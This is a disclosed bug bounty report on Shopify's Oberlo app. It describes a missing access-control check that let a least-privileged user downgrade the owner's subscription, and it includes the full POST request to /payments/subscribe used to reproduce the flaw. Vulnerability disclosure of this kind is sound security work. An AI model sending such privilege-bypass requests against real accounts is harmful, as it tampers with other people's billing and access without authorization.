Shopify · Report #1084865
[h1-2102] [Oberlo] Least privileged user can cancel account owner's subscription via POST on /payments/subscribe
Summary
Please note, since this report was submitted and resolved, Oberlo has been removed from scope for our program. We are no longer accepting reports on Oberlo at the time of this disclosure.
Oberlo was an application that integrated with the Shopify platform. It was designed to simplify the process of sourcing and importing products from various suppliers into a Shopify store.
Due to missing access control checks on the backend, a user with limited permissions on an Oberlo account was able to modify the Oberlo subscription for the associated account.
How it was found
Summary:
Within Oberlo, it's possible to have a bare permission user with only access to the dashboard. This user can make an API call which will cancel the subscription.
Steps To Reproduce:
[add details for how we can reproduce the issue]
- Have a
Boss subscriptionaccount on app.oberlo.com - Within this account, have 2 users:
userAis our admin, anduserBis our attacker with onlyDashboardpermissions:
{F1168406}
- Log in as
User Band make the following call:
POST /payments/subscribe HTTP/1.1
Host: app.oberlo.com
Connection: close
Content-Length: 19
sec-ch-ua: "Google Chrome";v="87", " Not;A Brand";v="99", "Chromium";v="87"
Accept: application/json, text/plain, */*
█████
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36
Content-Type: application/json;charset=UTF-8
Origin: https://app.oberlo.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://app.oberlo.com/settings/other
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: <REDACTED>
{
"planId":10
}
- You should get a 200 response
- Log back in as
UserAand see that your subscription is set to the "Free Tier" as soon as the current billing cycle finishes.
Impact
Least privileged users can modify subscription tiers